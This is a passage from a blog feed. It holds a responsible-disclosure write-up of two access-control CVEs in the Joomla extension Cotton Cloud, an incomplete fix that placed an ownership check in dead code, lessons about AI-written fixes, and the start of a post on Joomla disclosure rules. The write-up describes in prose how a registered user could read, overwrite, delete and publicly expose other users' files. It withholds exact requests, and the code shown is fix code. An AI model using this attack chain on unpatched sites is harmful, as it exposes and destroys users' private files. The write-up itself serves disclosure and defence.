&lt;li&gt;Cotton Cloud 2.0.1 had &lt;strong&gt;two separate access control failures&lt;/strong&gt;, reported together on 1 August 2026&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing authentication.&lt;/strong&gt; Every front-end task was gated by a CSRF token alone. Joomla hands those to guests, so an anonymous visitor could call all of them. This is &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67283&quot;&gt;CVE-2026-67283&lt;/a&gt;&lt;/strong&gt;, CVSS 4.0 6.9 medium, fixed in 2.0.2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing authorisation.&lt;/strong&gt; The by-id database accessors fetched files and folders by numeric id with no check that the id belonged to the caller. This is &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67284&quot;&gt;CVE-2026-67284&lt;/a&gt;&lt;/strong&gt;, CVSS 4.0 5.3 medium, fixed in 2.0.3&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2.0.2 fixed the first and not the second.&lt;/strong&gt; The flaw stopped being anonymous and became exploitable by any registered user, which on a site with open signup is not much of a barrier&lt;/li&gt;
&lt;li&gt;2.0.2 &lt;em&gt;did&lt;/em&gt; contain an ownership check for the second half. It was added to a method &lt;strong&gt;nothing in the package calls&lt;/strong&gt;, so it never executed. It read as a finished fix in the diff&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2.0.3 closed the authorisation half properly&lt;/strong&gt;, with ownership checks through the model layer and a new assertion layer in front of the terminal and MCP surface&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 2.0.3.&lt;/strong&gt; Treat 2.0.2 and everything before it as vulnerable&lt;/li&gt;
&lt;li&gt;Both CVEs credit the finder, and the fix rounds were handled the way you would want a vendor to handle them&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this issue and reported it privately before publishing anything. We withheld the exact requests and any proof-of-concept until a fix was available and site owners had a reasonable window to update. That included holding this post back through an incomplete fix, because publishing &quot;this is fixed&quot; while it is not is worse than publishing nothing.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Cotton Cloud got right&lt;/h2&gt;
&lt;p&gt;Start here, because parts of what follows are critical.&lt;/p&gt;
&lt;p&gt;The developer engaged. After a slow start he replied, took the report seriously, shipped releases, and asked for further review each time. Plenty of vendors never reply at all. We have written about &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;a vendor whose changelog said &quot;Security Update&quot; and nothing else&lt;/a&gt;, and about &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;nineteen extension vulnerabilities we disclosed in a single month&lt;/a&gt;, so a developer who answers, ships, and then asks you to check his work is well ahead of the field.&lt;/p&gt;
&lt;p&gt;The 2.0.2 fix for the authentication half is done the right way. Every task in both components gained a proper identity check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$currentuser = Factory::getApplication()-&amp;gt;getIdentity();

if (!$currentuser-&amp;gt;get(&quot;id&quot;) || !Session::checkToken()) {
    echo new JsonResponse(null, Text::_(&apos;JINVALID_TOKEN&apos;), true);
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is correct. &lt;code&gt;getIdentity()&lt;/code&gt; returns a user object with id 0 for a guest, PHP short-circuits the &lt;code&gt;||&lt;/code&gt;, and the request is refused before any logic runs. It was applied consistently across all twenty-one tasks in the file manager plus both entry points of the terminal component. Nothing was half-applied and nothing was missed. We verified it: an anonymous request that worked against 2.0.1 is refused by 2.0.2, and still is in 2.0.3.&lt;/p&gt;
&lt;p&gt;2.0.2 also fixed something we had raised as a side issue. The 2.0.1 package shipped as 2.0.1 while every constituent manifest inside it declared &lt;code&gt;&amp;lt;version&amp;gt;2.0.0&amp;lt;/version&amp;gt;&lt;/code&gt;, which breaks version reporting for anyone trying to work out what they are running. Every manifest in 2.0.3 now carries the right number.&lt;/p&gt;
&lt;p&gt;So: a developer who replied, fixed the authentication half cleanly, and came back and fixed the authorisation half. The problem is the gap in between, and that gap is the interesting part.&lt;/p&gt;
&lt;h2&gt;The half that was left in 2.0.2&lt;/h2&gt;
&lt;p&gt;Our report described two root causes, in two separate paragraphs, with the second one spelled out by name:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The second is that the data layer only checks ownership in some places. The browse queries filter on owner_id, so the UI looks correctly scoped, but the by-id accessors do not. &lt;code&gt;FileRepository::getForOpen()&lt;/code&gt;, &lt;code&gt;::update()&lt;/code&gt; and &lt;code&gt;::delete()&lt;/code&gt; all key on the id alone, as does &lt;code&gt;CottonModel::file_update()&lt;/code&gt;. &lt;code&gt;FolderManager::deleteRecursive()&lt;/code&gt; has no ownership check either.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When 2.0.2 arrived we diffed it against 2.0.1. &lt;code&gt;FileRepository.php&lt;/code&gt;, &lt;code&gt;FolderRepository.php&lt;/code&gt;, &lt;code&gt;FolderManager.php&lt;/code&gt; and &lt;code&gt;CottonBridge.php&lt;/code&gt; were &lt;strong&gt;byte-identical&lt;/strong&gt;. Every file named in that paragraph was untouched. The terminal&apos;s command interpreter had changed, but only by commenting out five debug logging calls.&lt;/p&gt;
&lt;p&gt;Authentication was added. Authorisation was not.&lt;/p&gt;
&lt;p&gt;The practical difference is smaller than it sounds. Cotton Cloud is a file store whose entire purpose is giving site users a private drive, so it is deployed on sites where people can register. Registration is free and instant. The attack went from &quot;anyone on the internet&quot; to &quot;anyone on the internet who clicks Register first&quot;.&lt;/p&gt;
&lt;p&gt;We confirmed all of the following against the shipping 2.0.2 on a local Joomla 5 lab, logged in as a plain self-registered user with no special permissions, targeting a file owned by the site administrator marked private with no sharing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Read it.&lt;/strong&gt; The terminal&apos;s &lt;code&gt;cat&lt;/code&gt; returned the full database row, file contents and all, along with the owner id proving it belonged to somebody else&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read it a second way.&lt;/strong&gt; The same content came back through the terminal&apos;s MCP interface, which exposed its tools to any logged-in user&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Find it.&lt;/strong&gt; The &lt;code&gt;find&lt;/code&gt; command enumerated another user&apos;s files and reported their folder paths&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overwrite it.&lt;/strong&gt; The save endpoint replaced the administrator&apos;s file contents&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete it.&lt;/strong&gt; The delete endpoint removed an administrator-owned file permanently, not to the trash&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-permission it.&lt;/strong&gt; The update endpoint set the file&apos;s sharing flag to public&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then read it with no account at all.&lt;/strong&gt; After the previous step, the file came back to a request carrying no cookies whatsoever&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last pair is the one to sit with. Cotton Cloud has exactly one endpoint with a correct, well-written access check, and it works. But in 2.0.2 a neighbouring endpoint with no check could flip the flag that the good endpoint reads. The correct ACL was unlocked by the broken one, and the file ended up publicly readable by the entire internet.&lt;/p&gt;
&lt;h2&gt;The fix that never ran&lt;/h2&gt;
&lt;p&gt;This one changed how we read diffs.&lt;/p&gt;
&lt;p&gt;Cotton Cloud 2.0.2 &lt;strong&gt;did&lt;/strong&gt; add an ownership check for file deletion. It is right there in the diff, and it looks exactly like what you would want:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function file_delete($file_id, $folder_id, $trash) {

    $currentuser = Factory::getApplication()-&amp;gt;getIdentity();
    $user_id = (int) $currentuser-&amp;gt;get(&quot;id&quot;);

    $del = $this-&amp;gt;file_select($file_id);

    if (!$del-&amp;gt;n || (int) $del-&amp;gt;file[0]-&amp;gt;owner_id !== $user_id) {
        $data-&amp;gt;success = false;
        $data-&amp;gt;error = Text::_(&apos;COM_COTTON_ERROR_NOACCESS&apos;);
        return $data;
    }
    // ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing calls that method. The controller task named &lt;code&gt;file_delete&lt;/code&gt; does not call &lt;code&gt;CottonModel::file_delete()&lt;/code&gt;. It calls &lt;code&gt;item_delete()&lt;/code&gt;, a different method, which deleted by id with no ownership check anywhere in it. The method that got the fix was dead code, with no callers in the entire package. Every delete request the application actually served went down the unguarded path and always had.&lt;/p&gt;
&lt;p&gt;It got worse on inspection. The check that was added did not even work: &lt;code&gt;file_select()&lt;/code&gt; already filters by owner, so it can only return rows the caller owns, and the guard then asked whether each row is &lt;strong&gt;not&lt;/strong&gt; owned by the caller, a condition that can never be true. If anything had called that method, it would have refused to delete your own files while reporting success.&lt;/p&gt;
&lt;p&gt;An ownership check, written in good faith, sitting in code that cannot execute. Reading the diff would never catch it, because the diff looks right. Reading the diff tells you what you wrote. Only the request tells you what runs.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Reproduce the bug before you fix it, then run the exact same request afterwards. A fix you have not exploited is a fix you have not tested. Reading the diff tells you what you wrote. Only the request tells you what runs.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One deletion request run as a second user against 2.0.2, watched succeeding, would have surfaced this in under a minute.&lt;/p&gt;
&lt;h2&gt;What vibe coding does to a security fix&lt;/h2&gt;
&lt;p&gt;A word of care first: we are not making a claim about how any particular line of Cotton Cloud was written, and none of this is aimed at its developer, who has been better to deal with than most. But we keep running into this shape, and this extension is a useful lens. Its headline feature is an AI terminal with an MCP server and around forty tool calls wired straight into the site&apos;s data layer.&lt;/p&gt;
&lt;p&gt;A guard that is correct in isolation and unreachable in context is the signature failure of building fast with an AI assistant. The risk is structural, not one careless afternoon.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generated code is written to the description, not to the request.&lt;/strong&gt; Ask any assistant to &quot;add an ownership check to file deletion&quot; and it will find the method whose name says file deletion and put a very good check in it. It has no way of knowing the controller calls a differently named sibling, unless you make it trace the path first. The output is aimed at the wrong target, and aimed with complete confidence.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It reads as finished, which is what defeats review.&lt;/strong&gt; Human mistakes usually look like mistakes. Generated mistakes look like the thing you asked for, because producing plausible code is precisely what the tool is optimised to do. The 2.0.2 guard is well-formed, correctly indented, and uses the right Joomla APIs and the right language constant. Everything about it says &quot;done&quot; except whether it runs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Structure arrives faster than the invariants that keep it safe.&lt;/strong&gt; Cotton Cloud has repositories, managers, services and a bridge. That is a sensible architecture and a lot of scaffolding for one person to produce. Layers are exactly where security invariants go missing, because each layer assumes the one above it checked. Which is what happened: the browse queries filtered by owner, so the interface looked correctly scoped, while the by-id accessors underneath took an integer and returned whatever it pointed at.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The same helper gets written twice, and one copy gets fixed.&lt;/strong&gt; The 2.0.3 changelog records removing a duplicate &lt;code&gt;SpaceCalculator&lt;/code&gt; class that existed in both the library and the service layer. Duplication is cheap to generate and expensive to secure, because patching one copy leaves the other exactly as it was.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plausible variable flow hides dead logic.&lt;/strong&gt; The terminal&apos;s JWT middleware tries three sources for its signing secret. The third reads the value into &lt;code&gt;$config&lt;/code&gt; while the function returns &lt;code&gt;$secret&lt;/code&gt;, so the fallback does nothing. It fails closed, which makes it latent rather than live, but nobody wrote that on purpose and nothing in the code admits to being broken.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An agent interface is new attack surface with no conventions yet.&lt;/strong&gt; MCP has no authentication model of its own; it inherits whatever the host application enforces. Cotton Cloud&apos;s MCP server handed its full tool list to anyone who could present a CSRF token, and every tool inherited the weakest check in the data layer beneath it. Each tool is an endpoint. Forty tools is forty endpoints, and they arrive as a single feature you tick on in the component options.&lt;/p&gt;
&lt;p&gt;Use the assistants. What has to move is the acceptance test. When code was expensive to produce, reading it carefully was a fair proxy for knowing what it did, and most of our habits as reviewers were built on that assumption. When it is cheap to produce and uniformly plausible, the proxy stops working, and the only thing left that tells you the truth is running the request and watching what comes back. That cuts both ways, and it is why we re-run the whole attack against a new release rather than reading the changelog and taking the vendor&apos;s word for it.&lt;/p&gt;
&lt;h2&gt;What 2.0.3 fixed&lt;/h2&gt;
&lt;p&gt;2.0.3 is a substantially bigger piece of work than 2.0.2 and it goes after the right thing.&lt;/p&gt;
&lt;p&gt;Ownership checks now run through the model layer, on the paths a request actually takes: folder creation and updates, deletes, trash recovery, file uploads, finalisation, cancellation, saves, updates and the editor entry point all resolve the record and compare &lt;code&gt;owner_id&lt;/code&gt; against the current user before doing anything with it.&lt;/p&gt;
&lt;p&gt;The terminal and MCP surface, which was the widest part of the exposure because &lt;code&gt;CottonBridge&lt;/code&gt; was built entirely on the unscoped accessors, gained a dedicated assertion layer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function assertFileOwner(int $fileId): ?array
{
    $file = $this-&amp;gt;getById($fileId);
    if (!$file || (int) $file-&amp;gt;owner_id !== $this-&amp;gt;getCurrentUserId()) {
        return [
            &apos;success&apos; =&amp;gt; false,
            &apos;message&apos; =&amp;gt; Text::_(&apos;COM_SHUTTLE_ERROR_NOACCESS&apos;),
            &apos;error&apos;   =&amp;gt; Text::_(&apos;COM_SHUTTLE_ERROR_NOACCESS&apos;),
        ];
    }

    return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the right shape: one place to get it right, called by the commands rather than reimplemented in each. Against 2.0.3, the reads we demonstrated through &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt; and the MCP interface are refused, and so are the file update and editor paths that gave us the re-permission and read primitives.&lt;/p&gt;
&lt;p&gt;He gave the changelog the same treatment, which comes up again below.&lt;/p&gt;
&lt;h2&gt;We have seen this exact fix before&lt;/h2&gt;
&lt;p&gt;This is not a story about one developer.&lt;/p&gt;
&lt;p&gt;In June 2026 we reported a file-upload remote code execution flaw in PageBuilder CK. The vendor shipped 3.6.0, which &lt;strong&gt;added a login check and nothing else&lt;/strong&gt;. Any user with an Editor account could still run code on the server, and that stayed true through 3.6.2 before it was &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;finally fixed correctly in 3.6.3&lt;/a&gt;. Same shape: authentication added, authorisation forgotten, release announced as fixed.&lt;/p&gt;
&lt;p&gt;Balbooa Forms did something adjacent. The first unauthenticated upload flaw was fixed in 2.4.1, and then &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;a second one survived both 2.4.1 and 2.4.2&lt;/a&gt; before 2.4.3 closed it.&lt;/p&gt;
&lt;p&gt;Several extensions, several vendors, one reflex. When a report says &quot;anyone can do X&quot;, the instinct is to stop anyone from getting in. That closes the door the researcher walked through and leaves the room unlocked. It is an easy reflex to have because it makes the reproduction steps in the report stop working, which feels exactly like success.&lt;/p&gt;
&lt;p&gt;The tell is always the same: if the fix is a check at the entrance and the report described a problem with the data, the fix is not finished. Missing authentication and missing authorisation are &lt;a href=&quot;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&quot;&gt;the same OWASP category&lt;/a&gt; and they need separate fixes. We see this often enough now that we test for it specifically: after a vendor tells us something is fixed, the first thing we do is log in as the lowest-privilege account the site will give us and run the whole attack again.&lt;/p&gt;
&lt;p&gt;The IDOR half is not exotic either. We reported the same class of flaw in &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore, where any logged-in customer could read every other customer&apos;s invoice by editing one URL&lt;/a&gt;, and in &lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;Events Booking, where registrant invoices with names, addresses and payment details were downloadable&lt;/a&gt;. Numeric ids, no ownership predicate, and an interface that looks correctly scoped because the listing query is.&lt;/p&gt;
&lt;h2&gt;Why half a fix happens&lt;/h2&gt;
&lt;p&gt;It is tempting to file this under carelessness. We do not think that is what it was, and the timeline says something more useful.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;What happened&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 August 2026&lt;/td&gt;
&lt;td&gt;Reported privately to the developer, copying the Joomla Security Strike Team. Both root causes described, with the specific files named&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 August 2026&lt;/td&gt;
&lt;td&gt;Resent after seven days of silence, having also tried to make contact publicly and privately on social media&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 August 2026&lt;/td&gt;
&lt;td&gt;The Joomla Manual gained a Security page setting out twenty rules for handling exactly this situation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11 August 2026&lt;/td&gt;
&lt;td&gt;First reply from the developer, ten days after the report. 2.0.2 had already been published, fixing the authentication half only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11 August 2026&lt;/td&gt;
&lt;td&gt;The JSST asked us to confirm the fix. We confirmed it fixed one half&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12 August 2026&lt;/td&gt;
&lt;td&gt;The developer shipped 2.0.3 with the authorisation half addressed, and asked us to confirm it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12 August 2026&lt;/td&gt;
&lt;td&gt;The Joomla CNA published CVE-2026-67283 for the authentication half and CVE-2026-67284 for the authorisation half&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The first release is the one to study, because that is where the misunderstanding entered. There was no conversation between the report and 2.0.2. Ten days of silence, then a finished release and a reply announcing it. The developer&apos;s own summary of what he had done was that &quot;improving security regarding task execution within the controllers was indeed necessary&quot;, which is an accurate description of the half he fixed and a complete description of what he had understood the report to be.&lt;/p&gt;
&lt;p&gt;That is not carelessness. That is what happens when nobody talks. A single reply saying &quot;I have read this, I understand there are two issues, here is my plan for each&quot; would have surfaced the misunderstanding on day one, while the fix was still being written. Instead the misunderstanding got shipped, and the person best placed to catch it found out afterwards, from a third party.&lt;/p&gt;
&lt;p&gt;The second round went the way it should have. He engaged, shipped a real fix in a day, and asked us to verify before finalising. That is the loop working. It just started one release too late, and the reason it started late is worth more attention than the bug itself.&lt;/p&gt;
&lt;h2&gt;Where this sits against the twenty rules&lt;/h2&gt;
&lt;p&gt;The timing here is almost too neat. On 10 August 2026, the day before 2.0.2 was announced to us, David Jardin of the Joomla Security Strike Team added a Security page to the official Joomla Manual setting out twenty rules for how extension developers should handle a vulnerability report. We &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;republished it in full&lt;/a&gt;, because it is the first time this guidance has existed in one citable place with the Joomla project&apos;s name on it.&lt;/p&gt;
&lt;p&gt;The first release ran against several of them. We are listing them because they are useful to any developer who has never had a report arrive in their inbox.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule 3, acknowledge the reporter quickly.&lt;/strong&gt; The Manual&apos;s target is one business day for acknowledgement and three to five for an initial assessment. This took ten days and a resend.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule 4, validate the vulnerability.&lt;/strong&gt; Half the report was never validated. This is the causal link: rules 3 and 4 are not manners, they are the steps where you find out what you are actually fixing. Skip them and you ship what you assumed the report said.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule 9, coordinate a disclosure date.&lt;/strong&gt; No date was ever discussed. The release simply appeared, and we learned of it from the JSST thread rather than from the vendor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule 11, assign the CVE before public disclosure.&lt;/strong&gt; 2.0.2 went public first, and the identifiers followed afterwards.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule 17, do not hide security fixes in vague language.&lt;/strong&gt; At the time 2.0.2 was serving to every site through the update system, the extension&apos;s changelog file contained exactly one entry, for version 1.0.1, reading:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Saving text files solved.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There was no entry for 2.0.2. Every site owner who clicked Changelog in Joomla to decide whether the update was urgent saw a note about text file saving from an ancient release, so a security release looked like an optional one.&lt;/p&gt;
&lt;p&gt;This is the rule the developer has since fixed properly, and it deserves saying as loudly as the criticism. The changelog file now carries structured entries for every 2.x release, and the 2.0.3 entry says what the release did in plain terms:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Ownership validation layer added to CottonBridge
(assertFolderOwner, assertFileOwner, getCurrentUserId).
File owner assertions added to Shuttle commands (cat, head, and others).
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A site owner reading that in Joomla&apos;s update view can tell it touches access control. Going back and writing the history you skipped is more work than writing it at the time, and he did it.&lt;/p&gt;
&lt;p&gt;If you are an extension developer reading this and only take one thing from it: &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;read the twenty rules&lt;/a&gt;. It is the Joomla project&apos;s own guidance, written by the person who runs the CNA that will assign your CVE, and following it costs you an email and a changelog line.&lt;/p&gt;
&lt;h2&gt;What site owners should do&lt;/h2&gt;
&lt;p&gt;If you run Cotton Cloud, update to 2.0.3 now. Do not stop at 2.0.2.&lt;/p&gt;
&lt;p&gt;Then consider what was reachable while a vulnerable version was live. These flaws exposed and altered file contents, so updating closes the hole but does not undo any read, overwrite or delete that already happened. If the extension was serving a site with open registration for any length of time, treat anything stored in it as potentially known. Because the flaw also allowed writing and deleting, check that the files and folders you expect are still there and still say what they should.&lt;/p&gt;
&lt;p&gt;Also check for content that should not be there. The component sets the response content type from the file extension, so a file with an HTML extension could have been planted or edited to serve script from your domain, and it would look like an ordinary entry in a user&apos;s drive. Anything with an &lt;code&gt;.html&lt;/code&gt;, &lt;code&gt;.htm&lt;/code&gt; or &lt;code&gt;.svg&lt;/code&gt; extension is worth opening.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is not remote code execution. Cotton Cloud stores files as database blobs rather than on disk, so a stored PHP file is returned as bytes, not executed. Nothing here lets an attacker run code on your server. What it does let them do is read, alter and destroy everything your users have stored, and serve script from your domain.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Finding every affected site at once&lt;/h2&gt;
&lt;p&gt;One Cotton Cloud install is an afternoon. Forty client sites is a different problem, and the version number is the only thing that tells you which ones matter.&lt;/p&gt;
&lt;p&gt;mySites.guru records the installed version of every extension on every connected Joomla site, so a question like &quot;which of my sites are running Cotton Cloud below 2.0.3&quot; is a list you already have rather than an audit you have to run. When a version is flagged as vulnerable, the affected sites surface on their own.&lt;/p&gt;
&lt;p&gt;That is the scope of it. We do not patch this for you and we cannot tell you what was read while a vulnerable version was live. What we remove is the part where you log into forty administrator panels to find out which four need attention. If you want the detail on how the version tracking works, we wrote it up in &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;our guide to the vulnerable extension list&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;For extension developers&lt;/h2&gt;
&lt;p&gt;Five things worth taking from this, none of which are specific to Cotton Cloud.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A CSRF token is not a login check.&lt;/strong&gt; This is the single most common real finding we make in Joomla extensions. &lt;code&gt;Session::checkToken()&lt;/code&gt; proves the request came from your site. It says nothing about who sent it, and Joomla issues tokens to guests. If the only gate on a task is a token, that task is anonymous.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scope by owner in the query, not in the caller.&lt;/strong&gt; Cotton Cloud&apos;s browse queries filtered by owner correctly, which is why the interface always looked right. The by-id lookups did not, and every caller that forgot to add its own check inherited a hole. Put the ownership predicate in the repository method where it cannot be forgotten, and the twenty places that call it are fixed at once.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch the path the request takes.&lt;/strong&gt; Find the method the controller actually calls before you write the guard. In a layered codebase the method with the obvious name is often not the one doing the work. A guard in the wrong method is worse than no guard, because it looks done.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Give agent interfaces their own authorisation model.&lt;/strong&gt; An MCP server or tool API inside your extension is not one endpoint, it is one endpoint per tool, and it inherits whatever the layer beneath it enforces. Decide who is allowed to call each tool, in the tool, and assume the transport gives you nothing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Then prove it.&lt;/strong&gt; Reproduce, patch, re-run the same request. Reading your own diff is how a fix that never executes gets shipped as done.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Twenty Rules for Joomla Extension Developers Handling a Security Report&lt;/a&gt;, the Joomla Manual&apos;s security page republished in full&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/get-started/security/&quot;&gt;Joomla Manual: Security&lt;/a&gt;, the official source&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&lt;/a&gt;, where to report an extension vulnerability and request a CVE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&quot;&gt;OWASP: Broken Access Control&lt;/a&gt;, the category both halves of this flaw belong to&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;OWASP: Insecure Direct Object Reference Prevention&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 and the changelog that said nothing&lt;/a&gt;, the same rule 17 failure in a much more widely installed extension&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;PageBuilder CK RCE fixed, again, correctly this time&lt;/a&gt;, the same login-check-only fix in a different extension&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Nineteen and counting: a month of Joomla extension disclosures&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;, on why this class of endpoint keeps producing the same bug&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>cotton cloud</category><category>broken access control</category><category>idor</category><category>vulnerability</category><category>responsible disclosure</category><category>ai</category><enclosure url="https://mysites.guru/_astro/cotton-cloud-incomplete-security-fix.JUBbvrvV.png" length="0" type="image/png"/></item><item><title>Twenty Rules for Joomla Extension Developers Handling a Security Report</title><link>https://mysites.guru/blog/joomla-extension-security-disclosure-standard/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-extension-security-disclosure-standard/</guid><description>A new Joomla Manual page sets out 20 rules for how extension developers should handle a security report. Republished here in full under the JEDL.</description><pubDate>Mon, 10 Aug 2026 11:26:24 GMT</pubDate><content:encoded>&lt;p&gt;The Joomla Manual now answers a question the Joomla ecosystem has never had a written answer to: when somebody emails you to say your extension has a security hole, what are you supposed to do next?&lt;/p&gt;
&lt;p&gt;David Jardin, Team Leader of the Joomla Security Strike Team, wrote that answer as a single new file, &lt;code&gt;docs/building-extensions/security.md&lt;/code&gt;. He opened it as &lt;a href=&quot;https://github.com/joomla/Manual/pull/695&quot;&gt;pull request 695&lt;/a&gt; on 10 August 2026 to help extension developers handle the security issues reported to them, and Harald Leithner merged it thirteen minutes later. It is documentation in the Manual now, not a proposal.&lt;/p&gt;
&lt;p&gt;Twenty numbered practices. Publish a reporting channel. Keep the report confidential. Acknowledge the reporter inside a business day. Score it with CVSS 4.0 instead of guessing at &quot;critical&quot;. Build the fix in private with a regression test. Get a CVE ID from the Joomla CNA before you go public. Credit the person who found it, in the words they chose. Publish an advisory that names affected and fixed versions. Do not hide the fix behind &quot;various bug fixes and improvements&quot;. Do not sue the researcher.&lt;/p&gt;
&lt;p&gt;None of that is exotic. It is the same coordinated-disclosure practice that the wider software industry settled on years ago, written down for the first time in a form Joomla extension developers can point at. We have reposted the whole thing below, in full, with credit to the author and the Joomla project, under the licence the Joomla Manual carries.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;What this is, and what it is not&lt;/p&gt;
  &lt;p&gt;This is a &lt;strong&gt;standard for handling security reports&lt;/strong&gt; written by &lt;strong&gt;David Jardin&lt;/strong&gt;, Team Leader of the Joomla Security Strike Team, to help Joomla extension developers handle security issues reported to them. It arrived as &lt;a href=&quot;https://github.com/joomla/Manual/pull/695&quot;&gt;pull request 695&lt;/a&gt; on the Joomla Manual on 10 August 2026, was merged the same day, and is now published as &lt;a href=&quot;https://manual.joomla.org/docs/next/building-extensions/security/&quot;&gt;Building Extensions: Security&lt;/a&gt; in the official Joomla developer documentation. It is not an enforced requirement: nothing checks whether an extension follows it. Our republication of it here is not endorsed by the Joomla project. The full text below is the work of David Jardin and the Joomla! Project, republished with credit under the &lt;a href=&quot;https://docs.joomla.org/JEDL&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why This Matters to Anyone Running Joomla Sites&lt;/h2&gt;
